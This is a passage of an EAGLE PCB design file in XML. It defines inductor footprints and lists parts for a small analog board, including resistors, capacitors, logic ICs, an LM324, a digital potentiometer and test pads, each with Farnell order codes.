dy=\"2.65\" layer=\"1\"/>\n<smd name=\"P$2\" x=\"0\" y=\"-2.17\" dx=\"5\" dy=\"2.65\" layer=\"1\"/>\n<text x=\"-2.54\" y=\"4.01\" size=\"0.4064\" layer=\"25\">&gt;Name</text>\n<text x=\"-2.7\" y=\"-4.39\" size=\"0.4064\" layer=\"27\">&gt;Value</text>\n</package>\n</packages>\n<symbols>\n<symbol name=\"INDUCTOR\">\n<wire x1=\"0\" y1=\"5.08\" x2=\"1.27\" y2=\"3.81\" width=\"0.254\" layer=\"94\" curve=\"-90\" cap=\"flat\"/>\n<wire x1=\"0\" y1=\"2.54\" x2=\"1.27\" y2=\"3.81\" width=\"0.254\" layer=\"94\" curve=\"90\" cap=\"flat\"/>\n<wire x1=\"0\" y1=\"2.54\" x2=\"1.27\" y2=\"1.27\" width=\"0.254\" layer=\"94\" curve=\"-90\" cap=\"flat\"/>\n<wire x1=\"0\" y1=\"0\" x2=\"1.27\" y2=\"1.27\" width=\"0.254\" layer=\"94\" curve=\"90\" cap=\"flat\"/>\n<wire x1=\"0\" y1=\"0\" x2=\"1.27\" y2=\"-1.27\" width=\"0.254\" layer=\"94\" curve=\"-90\" cap=\"flat\"/>\n<wire x1=\"0\" y1=\"-2.54\" x2=\"1.27\" y2=\"-1.27\" width=\"0.254\" layer=\"94\" curve=\"90\" cap=\"flat\"/>\n<wire x1=\"0\" y1=\"-2.54\" x2=\"1.27\" y2=\"-3.81\" width=\"0.254\" layer=\"94\" curve=\"-90\" cap=\"flat\"/>\n<wire x1=\"0\" y1=\"-5.08\" x2=\"1.27\" y2=\"-3.81\" width=\"0.254\" layer=\"94\" curve=\"90\" cap=\"flat\"/>\n<text x=\"2.54\" y=\"5.08\" size=\"1.778\" layer=\"95\">&gt;NAME</text>\n<text x=\"2.54\" y=\"-5.08\" size=\"1.778\" layer=\"96\">&gt;VALUE</text>\n<pin name=\"1\" x=\"0\" y=\"7.62\" visible=\"off\" length=\"short\" direction=\"pas\" swaplevel=\"1\" rot=\"R270\"/>\n<pin name=\"2\" x=\"0\" y=\"-7.62\" visible=\"off\" length=\"short\" direction=\"pas\" swaplevel=\"1\" rot=\"R90\"/>\n</symbol>\n</symbols>\n<devicesets>\n<deviceset name=\"INDUCTOR\" prefix=\"L\" uservalue=\"yes\">\n<description>&lt;b&gt;Inductors&lt;/b&gt;\nBasic Inductor/Choke - 0603 and 1206. Footprints are not proven and vary greatly between part numbers.</description>\n<gates>\n<gate name=\"G$1\" symbol=\"INDUCTOR\" x=\"0\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"H*\" package=\"INDUCTOR-1206\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"P$1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"P$2\"/>\n</connects>\n<technologies>\n<technology name=\"1206\"/>\n</technologies>\n</device>\n<device name=\"0603\" package=\"0603\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"CR54\" package=\"CR54\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"P$1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"P$2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"PWR\" package=\"CDRH125\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0402\" package=\"C0402\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"-B82462G\" package=\"B82462G\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"P$1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"P$2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"CR75\" package=\"CR75\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"P$1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"P$2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"1210\" package=\"1210\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"1007\" package=\"1007\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"_\" package=\"COOPER_UP4B\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"-\" package=\"CDRH3D28\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0805\" package=\"0805\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"CR75_V2\" package=\"CR75_V2\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"P$1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"P$2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\".\" package=\"CDRH2D09\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"P$1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"P$2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"NPI75\" package=\"NPI75C\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"SRU5028\" package=\"SRU5028\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"SRU1038\" package=\"SRU1038\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"CR54-KIT\" package=\"CR54-KIT\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"P$1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"P$2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n</devices>\n</deviceset>\n</devicesets>\n</library>\n</libraries>\n<attributes>\n</attributes>\n<variantdefs>\n</variantdefs>\n<classes>\n<class number=\"0\" name=\"default\" width=\"0\" drill=\"0\">\n</class>\n<class number=\"1\" name=\"power\" width=\"0.25\" drill=\"0.4\">\n<clearance class=\"1\" value=\"0.2\"/>\n</class>\n</classes>\n<parts>\n<part name=\"C4\" library=\"resistor\" deviceset=\"C-EU\" device=\"C0603\" value=\"TUNE\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"C8\" library=\"resistor\" deviceset=\"C-EU\" device=\"C0603\" value=\"1nF\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"1414606\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"C10\" library=\"resistor\" deviceset=\"C-EU\" device=\"C0603\" value=\"15nf\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"2070401\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"C9\" library=\"resistor\" deviceset=\"C-EU\" device=\"C0603\" value=\"1nF\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"1414606\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"C11\" library=\"resistor\" deviceset=\"C-EU\" device=\"C0603\" value=\"100nF\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"y\"/>\n<attribute name=\"FARNELL\" value=\"2332586\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"currently rs2644646\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"C1\" library=\"SparkFun-Capacitors\" deviceset=\"CAP\" device=\"0603-CAP\" value=\"100nF\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"y\"/>\n<attribute name=\"FARNELL\" value=\"2332586\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"currently rs 264-4646\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"R7\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"1M\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"1469746\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"R13\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"8K06\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"1170881\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"R14\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"4k7\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"2078913\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"R15\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"220K\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"2073431\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"R10\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"1M\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"1469746\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"R1\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"100K\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"9330402\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"R8\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"100K\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"9330402\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"JP11\" library=\"SparkFun 26-2-11\" deviceset=\"M02\" device=\"LOCK_LONGPADS\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"1550562  standard 2 PIN HEADER\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"P+1\" library=\"supply1\" deviceset=\"+5V\" device=\"\" value=\"5V0\"/>\n<part name=\"P+2\" library=\"supply1\" deviceset=\"VCC\" device=\"\"/>\n<part name=\"C3\" library=\"resistor\" deviceset=\"C-EU\" device=\"C0603\" value=\"100nF\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"2332586\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"R11\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"100k\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"9330402\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"SUPPLY5\" library=\"supply1\" deviceset=\"GND\" device=\"\"/>\n<part name=\"U3\" library=\"1FAB\" deviceset=\"SN74AHC1G32DCKR\" device=\"\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"1287449\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"P+4\" library=\"supply1\" deviceset=\"+5V\" device=\"\" value=\"5V0\"/>\n<part name=\"C27\" library=\"resistor\" deviceset=\"C-EU\" device=\"C0603\" value=\"10nF\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"1301715\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"C28\" library=\"resistor\" deviceset=\"C-EU\" device=\"C0603\" value=\"10nF\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"1301715\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"C25\" library=\"resistor\" deviceset=\"C-EU\" device=\"C0603\" value=\"10nF\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"1301715\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"C5\" library=\"resistor\" deviceset=\"C-EU\" device=\"C0603\" value=\"TUNE\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"U2\" library=\"1FAB\" deviceset=\"SN74LVC2G17DCKR\" device=\"\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"1287569\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"5V0\" library=\"supply1\" deviceset=\"+5V\" device=\"\" value=\"5V0\"/>\n<part name=\"U4\" library=\"linear\" deviceset=\"LM324\" device=\"D\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"8389233\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"D2\" library=\"SparkFun 26-2-11\" deviceset=\"DIODE\" device=\"SOT23\" value=\"MMDB4148\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"\"/>\n<attribute name=\"FARNELL\" value=\"2069338\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"D1\" library=\"SparkFun 26-2-11\" deviceset=\"DIODE\" device=\"SOT23\" value=\"MMDB4148\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"\"/>\n<attribute name=\"FARNELL\" value=\"2069338\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"C2\" library=\"resistor\" deviceset=\"C-EU\" device=\"C0603\" value=\"100nF\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"Y\"/>\n<attribute name=\"FARNELL\" value=\"2332586\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"currently rs 264-4646\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"R12\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"100k\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"9330402\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"5V\" library=\"supply1\" deviceset=\"+5V\" device=\"\" value=\"5V0\"/>\n<part name=\"U1\" library=\"1FAB\" deviceset=\"MCP4261-104E/SL\" device=\"\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"1840694\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"R3\" library=\"resistor\" deviceset=\"R-TRIMM\" device=\"T93XA\" value=\"100k\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"NO\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n<attribute name=\"XFARNELL\" value=\"1141380\"/>\n</part>\n<part name=\"R4\" library=\"resistor\" deviceset=\"R-TRIMM\" device=\"T93XA\" value=\"100k\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"NO\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n<attribute name=\"XFARNELL\" value=\"1141380\"/>\n</part>\n<part name=\"JP5\" library=\"pinhead\" deviceset=\"PINHD-2X3\" device=\"\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"JP4\" library=\"pinhead\" deviceset=\"PINHD-2X3\" device=\"\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"TEP\" library=\"testpad\" deviceset=\"TP\" device=\"PAD1-13\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"OP-OUT\" library=\"testpad\" deviceset=\"TP\" device=\"PAD1-13\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"OP+OUT\" library=\"testpad\" deviceset=\"TP\" device=\"PAD1-13\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"READER_DATA\" library=\"testpad\" deviceset=\"TP\" device=\"PAD1-13\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"C6\" library=\"resistor\" deviceset=\"C-EU\" device=\"C0603\" value=\"TUNE\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"C7\" library=\"resistor\" deviceset=\"C-EU\" device=\"C0603\" value=\"4.3nF\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"1865494\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"1%\"/>\n</part>\n<part name=\"R5\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"100k\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"9330402\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"R9\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"100k\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"9330402\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"TEP2\" library=\"testpad\" deviceset=\"TP\" device=\"PAD1-13\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"TEP1\" library=\"testpad\" deviceset=\"TP\" device=\"PAD1-13\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"C29\" library=\"resistor\" deviceset=\"C-EU\" device=\"C0603\" value=\"10nF\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"1301715\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"JP6\" library=\"1FAB\" deviceset=\"PINHD-1X1\" device=\"\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"JP7\" library=\"1FAB\" deviceset=\"PINHD-1X1\" device=\"\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" 